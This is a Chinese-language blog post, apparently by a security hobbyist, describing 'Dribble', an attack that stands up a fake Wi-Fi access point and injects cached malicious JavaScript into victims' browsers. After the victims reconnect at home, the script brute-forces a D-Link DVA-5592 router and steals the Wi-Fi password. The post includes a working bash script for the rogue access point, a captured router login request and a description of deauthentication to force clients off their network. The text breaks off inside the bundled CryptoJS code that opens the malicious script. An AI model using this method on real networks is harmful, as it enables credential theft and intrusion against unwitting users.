我一直想在这个小项目上工作很长一段时间,但是我总是很忙。现在我终于有一些时间回来了,我在这里谈论它。
很久以前,我通过了Vivek Ramachandran的Wireless LAN Security Megaprimer课程(非常好,强烈推荐),顺便说一下,在我做旅行的同一时期,这意味着我要住在有不同的wifi酒店。毋庸置疑,我的大脑开始变得疯狂,因此我一直在思考获取Wi-Fi密码的“非常规”方法。
Can’t turn my brain off, you know.
It’s me.
We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean’s Twelve)
我即将描述的想法非常简单,可能也不是那么新。尽管如此,对我来说这是一种有趣的方式,让我去使用我的树莓派,因为它已经放在架子上太久了。
我的想法是利用网络浏览器的缓存来窃取Wi-Fi密码。因为我需要为项目提出一个名称,所以我首先开发它并将其命名为“Dribble”:-)。Dribble创建一个虚假的Wi-Fi接入点,并等待客户端连接到它。当客户端连接时,Dribble拦截对JavaScript页面执行的每个HTTP请求,并在响应中注入恶意JavaScript代码。新响应的标头也会被更改,以便恶意JavaScript代码被缓存并强制在浏览器中保留。当客户端与虚假接入点断开连接并重新连接回其家庭路由器时,恶意JavaScript代码将激活,从路由器窃取Wi-Fi密码并将其发送回攻击者。
很简单,对吧?
这非常简单,它也包含在Wireless LAN Security Megaprimer中,并且有许多不同的githubrepositories
和gists
,人们可以使用它来开始并创建一个虚假的访问点。因此,我不会过多地了解怎么创建一个虚假接入点的细节,但为了完整起见,让我们讨论一下我使用的那个。我使用hostapd
创建过Wi-Fi接入点,dnsmasq
作为DHCP服务器和DNS中继服务器,并用iptables
创建NAT网络。随后的bash脚本将创建一个非常简单的Wi-Fi访问点,不受任何密码的保护。我在代码中添加了一些注释,希望能提高可读性。
#!/bin/bash
# the internet interface
internet=eth0
# the wifi interface
phy=wlan0
# The ESSID
essid="TEST"
# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up
##################
# DNSMASQ
##################
echo "
interface=$phy
bind-interfaces
# Set default gateway
dhcp-option=3,10.0.0.1
# Set DNS servers to announce
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
# Upstream DNS server
server=8.8.8.8
server=8.8.4.4
" > tmp-dnsmasq.conf
# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf
##################
# IPTABLES
##################
# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward
# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd
interface=$phy
# ESSID
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
# all mac addresses allowed
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf
# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf
免责声明:由于各种原因,我故意将本节留在高级别的描述中而没有任何代码。但是,如果得到足够的关注并且人们对此感兴趣,我可能会进行更深入的讨论,或许提供一些代码和实用指南。
根据您的目标,可能有不同的方法尝试让某人连接到虚拟接入点。我们来讨论两种情况:
情景1:
在这种情况下,目标连接到受密码保护的Wi-Fi,可能是攻击者试图访问的受密码保护的Wi-Fi。在这种情况下,有几件事情要尝试,但首先让我讨论有关Wi-Fi如何工作的有趣内容。深受喜爱的802.11标准有许多有趣的功能,其中一个我总是发现...有趣。802.11定义了一个特殊的数据包,无论加密,密码,基础设施或任何内容,如果发送到客户端只会断开该客户端与接入点的连接。如果您发送一次,客户端将断开连接并立即重新连接,最终用户甚至不会注意到发生了什么。但是,如果你继续发送它,客户端最终会放弃你实际上可以阻塞Wi-Fi连接的意思,用户会注意到他已经没有连接到接入点了。通过滥用此特性,您可以简单地强制客户端断开与其连接的合法访问点的连接。在这一点上,可以做两件事:
场景2:
在这种情况下,目标没有连接到任何Wi-Fi接入点,可能是因为目标是智能手机而且所有者正在街上行走。但是,有可能Wi-Fi卡仍处于打开状态且设备仍在寻找已知的Wi-Fi ESSID。再次,如前所述,目标可能已连接到未受保护的Wi-Fi接入点。因此,攻击者可以使用目标已连接的接入点的ESSID创建虚假接入点,就像之前一样,Wi-Fi客户端将愉快地连接到虚假接入点。
现在出现了“稍微新”的部分(至少对我而言):弄清楚恶意JavaScript代码应该做什么来访问路由器并窃取Wi-Fi密码。请记住,受害者将连接到虚拟接入点,这显然给了攻击者一些优势,但仍有一些事情需要考虑。
作为攻击的目标路由器,我使用了家用Wi-Fi路由器,特别是我的ISP免费提供的D-Link DVA-5592。不幸的是,目前我还没有其他可以测试的设备,所以我必须用它做好准备。
我们现在讨论恶意JavaScript代码。目标是让它对路由器执行请求,这意味着它必须对本地IP地址执行请求。这应该已经调用了诸如Same-Origin-Policy和之类的关键字X-Frame-Option。
让我看看MDN网络文档中的定义:
The same-origin policy is a critical security mechanism that restricts how a document or script loaded from one origin can interact with a resource from another origin. It helps to isolate potentially malicious documents, reducing possible attack vectors. https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
换句话说:如果域A包含JavaScript代码,则该JavaScript代码只能访问域A中的信息或域A的子域。它无法访问域B中的信息。
让我再次从MDN Web文档中看看这个的定义:
The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page in a <frame>, <iframe> or <object> . Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
这非常简单:X-Frame-Options用于防止页面被加载iframe。
那么让我们看看我们从请求D-Link登录页面得到的响应:
HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182
<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>
响应包含X-Frame-Options设置为DENY(感谢上帝)意味着如果我希望加载它iframe,我就是不能。此外,由于恶意JavaScript代码将被注入与路由器不同的域中,因此Same-Origin-Policy将阻止与路由器本身的任何交互。我提出的简单解决方案,并提防它可能不是唯一的解决方案,如下:
注入包含两个不同的JavaScript代码。第一个JavaScript代码将iframe在受感染的页面中添加内容。在src该参数iframe将指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options设置为,DENY因此iframe将无法加载路由器的页面。但是,当创建iframe执行的JavaScript代码时,受害者仍然连接到虚假访问点(还记得我前面提到的优势点吗?)。这意味着对路由器IP地址的请求将由虚假接入点处理......多么方便。因此,虚假接入点可以拦截对路由器IP地址执行的任何请求,并通过以下网页进行响应:
包含第二个JavaScript代码,它将实际执行对真实路由器的请求,
没有X-Frame-Options标题,
包括用于缓存页面的标头。
由于虚假接入点构成合法路由器,因此浏览器将缓存一个页面,该域名是路由器的IP地址,从而绕过了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客户端连接回其家庭路由器:
第一个JavaScript代码将添加iframe指向路由器的IP地址,
在iframe将加载包含第二恶意的JavaScript路由器的主页的缓存版本,
第二个恶意JavaScript会攻击路由器。
第一个恶意JavaScript非常简单,它只需附加一个iframe。第二个恶意JavaScript有点棘手,因为它必须执行多个HTTP请求来强制登录,使用Wi-Fi密码访问页面并将其发送回攻击者。
对于D-Link,登录请求如下所示:
POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh
这里的重要参数是:
document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value,document.form.nonce.value);
这意味着登录需要CryptoJS库并从中获取nonce document.form.nonce.value
。有了这些信息,我可以轻松地创建一个小的JavaScript代码,它采用一系列用户名和密码,并尝试强制登录页面。
进入路由器后,我需要四处寻找可以检索Wi-Fi密码的位置。D-Link DVA-5592中的当前固件在仪表板页面登录后立即显示Wi-Fi密码IN PLAINTEXT(男孩)。
此时我需要做的就是访问页面的HTML,获取Wi-Fi密码并将其发送到某个地方进行收集。现在让我们深入研究为D-Link量身定制的实际JavaScript代码。我收录了评论,因此您可以关注正在发生的事情。
// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=
l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},
reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math);
(function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64>
n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes,
g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<